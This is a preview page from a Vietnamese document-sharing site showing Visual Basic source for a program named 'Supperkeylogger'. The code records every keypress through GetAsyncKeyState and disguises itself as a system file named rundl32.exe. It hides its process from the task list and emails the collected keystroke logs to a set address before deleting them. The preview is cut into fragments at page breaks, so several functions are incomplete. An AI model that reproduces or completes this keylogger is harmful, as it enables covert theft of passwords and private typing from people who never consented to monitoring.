1. Trang chủ
  2. » Công Nghệ Thông Tin

Chương Trình Supperkeylogger (VB)

22 271 1
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Chương trình supperkeylogger (vb)
Trường học University of Information Technology
Chuyên ngành Computer Science
Thể loại bài tập lớn
Năm xuất bản 2025
Thành phố Ho Chi Minh City
Định dạng
Số trang 22
Dung lượng 56,5 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Chương Trình Supperkeylogger (VB)

Trang 1

Chương Trình Supperkeylogger (VB):

trang này đã được đọc lần

Mô tả chương trình:

Bạn thêm vào trong chương trình 1 Form, 2 Module và 1 User Control

1 Form chính có tên là Form1.frm:

Giao diện form chứa đựng 3 Textbox (Text1 và send, adresa – “Text: Whitebronch@yahoo.com”), 1 SMTP (SMTP), 2 Timer (Timer1 và Timer2), 1 Label (Label1 – “Dia chi mail ban muon nhan log:”)

- Mã nguồn của Form:

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Const REG As Long = 1

Const HKEY_LOCAL_MACHINE As Long = &H80000002

Const STANDARD_RIGHTS_ALL = &H1F0000

Const KEY_CREATE_LINK = &H20

Const KEY_CREATE_SUB_KEY = &H4

Const KEY_ENUMERATE_SUB_KEYS = &H8

Const KEY_NOTIFY = &H10

Const KEY_QUERY_VALUE = &H1

Const KEY_SET_VALUE = &H2

Const SYNCHRONIZE = &H100000

Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))

Dim s As String, path As String

s = App.path & "\" & App.EXEName & ".exe"

path = WinDir & "\SYSTEM\rundl32.exe"

If FisierulExista(path) = False Then

Trang 2

Private Const FLAG_ICC_FORCE_CONNECTION = &H1

Private Declare Function InternetCheckConnection Lib "wininet.dll" Alias "InternetCheckConnectionA" (ByVal lpszUrl As String, ByVal dwFlags As Long, ByVal dwReserved As Long) As Long

Public Text As Variant

Public caledel As String

Public Function VI()

If InternetCheckConnection("http://www.google.com/", FLAG_ICC_FORCE_CONNECTION, 0&) = 0 Then

Open path For Input As #3

Do While Not EOF(3)

Input #3, s

Form1.send.Text = Form1.send.Text & s & vbCrLf

Loop

Close #3

Trang 3

caledel = path

Form1.SendEMail (path)

Kill path

End Sub

Public Function Decizie()

Dim path As String

Dim i As Integer, j As Integer

For i = 10 To 1 Step -1

For j = 1 To 6

path = Module1.WinDir & "\system\directx\" & Day(Date) - i & "_" & j & ".txt"

If FisierulExista(path) = True Then

Public Const DT_CENTER = &H1

Public Const DT_WORDBREAK = &H10

Public Const RSP_SIMPLE_SERVICE = 1

Public Const RSP_UNregiSTER_SERVICE = 0

Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long

Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Global Cnt As Long, TempText As String, sOld As String, ret As String

Dim Tel As Long

Private Const VK_CAPITAL = &H14

Public Function CAPSLOCKON() As Boolean

Static bInit As Boolean

Static bOn As Boolean

If Not bInit Then

Trang 4

End If

CAPSLOCKON = bOn

End Function

Public Function VerificareTaste()

Dim keystate As Long

Dim Shift As Long

Shift = GetAsyncKeyState(vbKeyShift)

keystate = GetAsyncKeyState(vbKeyA)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "A"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "a"

End If

keystate = GetAsyncKeyState(vbKeyB)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "B"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "b"

End If

keystate = GetAsyncKeyState(vbKeyC)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "C"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "c"

End If

keystate = GetAsyncKeyState(vbKeyD)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "D"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "d"

End If

keystate = GetAsyncKeyState(vbKeyE)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "E"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "e"

End If

keystate = GetAsyncKeyState(vbKeyF)

Trang 5

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "F"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "f"

End If

keystate = GetAsyncKeyState(vbKeyG)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "G"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "g"

End If

keystate = GetAsyncKeyState(vbKeyH)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "H"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "h"

End If

keystate = GetAsyncKeyState(vbKeyI)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "I"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "i"

End If

keystate = GetAsyncKeyState(vbKeyJ)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "J"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "j"

End If

keystate = GetAsyncKeyState(vbKeyK)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "K"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "k"

End If

Trang 6

keystate = GetAsyncKeyState(vbKeyL)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "L"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "l"

End If

keystate = GetAsyncKeyState(vbKeyM)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "M"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "m"

End If

keystate = GetAsyncKeyState(vbKeyN)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "N"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "n"

End If

keystate = GetAsyncKeyState(vbKeyO)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "O"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "o"

End If

keystate = GetAsyncKeyState(vbKeyP)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "P"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "p"

End If

keystate = GetAsyncKeyState(vbKeyQ)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "Q"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Trang 7

Form1.Text1 = Form1.Text1 + "q"

End If

keystate = GetAsyncKeyState(vbKeyR)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "R"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "r"

End If

keystate = GetAsyncKeyState(vbKeyS)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "S"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "s"

End If

keystate = GetAsyncKeyState(vbKeyT)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "T"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "t"

End If

keystate = GetAsyncKeyState(vbKeyU)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "U"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "u"

End If

keystate = GetAsyncKeyState(vbKeyV)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "V"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "v"

End If

keystate = GetAsyncKeyState(vbKeyW)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "W"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

Trang 8

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "w"

End If

keystate = GetAsyncKeyState(vbKeyX)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "X"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "x"

End If

keystate = GetAsyncKeyState(vbKeyY)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "Y"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "y"

End If

keystate = GetAsyncKeyState(vbKeyZ)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift

<> 0 And (keystate And &H1) = &H1) Then

Form1.Text1 = Form1.Text1 + "Z"

End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift

<> 0 And (keystate And &H1) = &H1) Then

Trang 9

If Shift <> 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "#"

Trang 10

If Shift <> 0 And (keystate And &H1) = &H1 ThenForm1.Text1 = Form1.Text1 + "("

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "[backspace]"End If

keystate = GetAsyncKeyState(vbKeyTab)

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "[tab]"

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "[shift]"

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "[alt]"

End If

keystate = GetAsyncKeyState(vbKeyPause)

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "[pause]"

End If

keystate = GetAsyncKeyState(vbKeyEscape)

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "[esc]"

End If

keystate = GetAsyncKeyState(vbKeySpace)

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + " "

Trang 11

End If

keystate = GetAsyncKeyState(vbKeyEnd)

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "[end]"

End If

keystate = GetAsyncKeyState(vbKeyHome)

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "[home]"

End If

keystate = GetAsyncKeyState(vbKeyLeft)

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "[left]"

End If

keystate = GetAsyncKeyState(vbKeyRight)

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "[right]"

End If

keystate = GetAsyncKeyState(vbKeyUp)

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "[up]"

End If

keystate = GetAsyncKeyState(vbKeyDown)

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "[down]"

End If

keystate = GetAsyncKeyState(vbKeyInsert)

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "[insert]"

End If

keystate = GetAsyncKeyState(vbKeyDelete)

If (keystate And &H1) = &H1 Then

Form1.Text1 = Form1.Text1 + "[Delete]"

Ngày đăng: 02/11/2012, 14:18

w